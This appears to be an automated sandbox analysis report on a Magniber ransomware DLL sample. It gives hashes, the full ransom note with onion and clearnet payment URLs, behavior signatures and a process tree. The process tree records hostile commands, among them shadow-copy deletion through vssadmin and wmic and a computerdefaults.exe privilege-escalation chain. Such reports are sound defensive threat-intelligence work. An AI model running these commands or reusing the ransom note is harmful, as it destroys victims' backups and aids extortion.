Analysis

  • max time kernel
    150s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    25-12-2021 15:50

General

  • Target

    b6f05d97b118f9d042c3fe691e5de7e57a84e3ea12decc86ebced93f937acead.dll

  • Size

    39KB

  • MD5

    08fa10ed5b28440cd9e7074a546685c5

  • SHA1

    20b6919c09bae54384c84eb92d65bb8f43a8676e

  • SHA256

    b6f05d97b118f9d042c3fe691e5de7e57a84e3ea12decc86ebced93f937acead

  • SHA512

    2688a37821463651fc2def76010d7f64a81899d54ddcfc8c1007ac0d69edc77b0cf0078a6fbc4ba316c7f6fd9831758c497f0f68164ba60cadd596901c983319

Score
10/10

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://7aa40280a03068106xtirqgc.vlqeedkmbvqdjzongyi6py6o5osehjze6r52mb2ijmx6qbh3lnb3zwid.onion/xtirqgc Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://7aa40280a03068106xtirqgc.mensell.uno/xtirqgc http://7aa40280a03068106xtirqgc.forrain.fit/xtirqgc http://7aa40280a03068106xtirqgc.dayeven.space/xtirqgc http://7aa40280a03068106xtirqgc.luckymy.quest/xtirqgc Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://7aa40280a03068106xtirqgc.vlqeedkmbvqdjzongyi6py6o5osehjze6r52mb2ijmx6qbh3lnb3zwid.onion/xtirqgc

http://7aa40280a03068106xtirqgc.mensell.uno/xtirqgc

http://7aa40280a03068106xtirqgc.forrain.fit/xtirqgc

http://7aa40280a03068106xtirqgc.dayeven.space/xtirqgc

http://7aa40280a03068106xtirqgc.luckymy.quest/xtirqgc

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies extensions of user files 12 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Generic Ransomware Note 7 IoCs

    Ransomware often writes a note containing information on how to pay the ransom.

  • Suspicious use of SetThreadContext 64 IoCs
  • Drops file in Windows directory 4 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies registry class 64 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\b6f05d97b118f9d042c3fe691e5de7e57a84e3ea12decc86ebced93f937acead.dll,#1
    1⤵
    • Modifies extensions of user files
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:380
    • C:\Windows\system32\notepad.exe
      notepad.exe C:\Users\Public\readme.txt
      2⤵
      • Opens file in notepad (likely ransom note)
      PID:2488
    • C:\Windows\system32\cmd.exe
      cmd /c "start http://7aa40280a03068106xtirqgc.mensell.uno/xtirqgc^&1^&43083978^&89^&329^&2215063"
      2⤵
      • Checks computer location settings
      PID:1652
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2064
      • C:\Windows\system32\wbem\WMIC.exe
        C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2892
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3668
      • C:\Windows\system32\wbem\WMIC.exe
        C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
        3⤵
          PID:2976
      • C:\Windows\system32\wbem\wmic.exe
        C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1508
    • C:\Windows\system32\cmd.exe
      cmd /c computerdefaults.exe
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1148
      • C:\Windows\system32\ComputerDefaults.exe
        computerdefaults.exe
        2⤵
          PID:2972
      • C:\Windows\system32\vssadmin.exe
        vssadmin.exe Delete Shadows /all /quiet
        1⤵
        • Process spawned unexpected child process
        • Interacts with shadow copies
        PID:1496
      • C:\Windows\system32\cmd.exe
        cmd /c computerdefaults.exe
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1296
        • C:\Windows\system32\ComputerDefaults.exe
          computerdefaults.exe
          2⤵
            PID:2116
        • C:\Windows\system32\vssvc.exe
          C:\Windows\system32\vssvc.exe
          1⤵
            PID:1480
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
            1⤵
            • Drops file in Windows directory
            • Modifies Internet Explorer settings
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:3508
          • C:\Windows\system32\browser_broker.exe
            C:\Windows\system32\browser_broker.exe -Embedding
            1⤵
            • Modifies Internet Explorer settings
            PID:2792
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies registry class
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1880
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Drops file in Windows directory
            • Modifies Internet Explorer settings
            • Modifies registry class
            PID:260
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies registry class
            PID:4220

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/380-123-0x000001FC51FB0000-0x000001FC51FB1000-memory.dmp

            Filesize

            4KB

          • memory/380-119-0x000001FC51F40000-0x000001FC51F41000-memory.dmp

            Filesize

            4KB

          • memory/380-124-0x000001FC51FC0000-0x000001FC51FC1000-memory.dmp

            Filesize

            4KB

          • memory/380-120-0x000001FC51F50000-0x000001FC51F51000-memory.dmp

            Filesize

            4KB

          • memory/380-126-0x000001FC520E0000-0x000001FC520E1000-memory.dmp

            Filesize

            4KB

          • memory/380-122-0x000001FC51F70000-0x000001FC51F71000-memory.dmp

            Filesize

            4KB

          • memory/380-121-0x000001FC51F60000-0x000001FC51F61000-memory.dmp

            Filesize

            4KB

          • memory/380-125-0x000001FC51FD0000-0x000001FC51FD1000-memory.dmp

            Filesize

            4KB

          • memory/380-118-0x000001FC51F30000-0x000001FC51F31000-memory.dmp

            Filesize

            4KB

          • memory/380-117-0x000001FC51F20000-0x000001FC51F21000-memory.dmp

            Filesize

            4KB

          • memory/380-115-0x000001FC51F00000-0x000001FC51F05000-memory.dmp

            Filesize

            20KB

          • memory/380-127-0x000001FC556F0000-0x000001FC556F1000-memory.dmp

            Filesize

            4KB

          • memory/380-128-0x000001FC55700000-0x000001FC55705000-memory.dmp

            Filesize

            20KB

          • memory/380-137-0x000001FC57220000-0x000001FC57221000-memory.dmp

            Filesize

            4KB

          • memory/380-116-0x000001FC51F10000-0x000001FC51F11000-memory.dmp

            Filesize

            4KB

          • memory/3924-140-0x00000205F8C60000-0x00000205F8C68000-memory.dmp

            Filesize

            32KB

          • memory/3924-141-0x00000205F8A60000-0x00000205F8A68000-memory.dmp

            Filesize

            32KB

          • memory/3924-142-0x00000205F8CA0000-0x00000205F8CA8000-memory.dmp

            Filesize

            32KB

          • memory/3924-143-0x00000205F8A10000-0x00000205F8A11000-memory.dmp

            Filesize

            4KB

          • memory/3924-144-0x00000205F8B70000-0x00000205F8B78000-memory.dmp

            Filesize

            32KB

          • memory/3924-145-0x00000205F8D80000-0x00000205F8D88000-memory.dmp

            Filesize

            32KB

          • memory/3924-146-0x00000205F8960000-0x00000205F8968000-memory.dmp

            Filesize

            32KB

          • memory/3924-147-0x00000205F8FC0000-0x00000205F8FC8000-memory.dmp

            Filesize

            32KB

          • memory/3924-148-0x00000205F8FA0000-0x00000205F8FA1000-memory.dmp

            Filesize

            4KB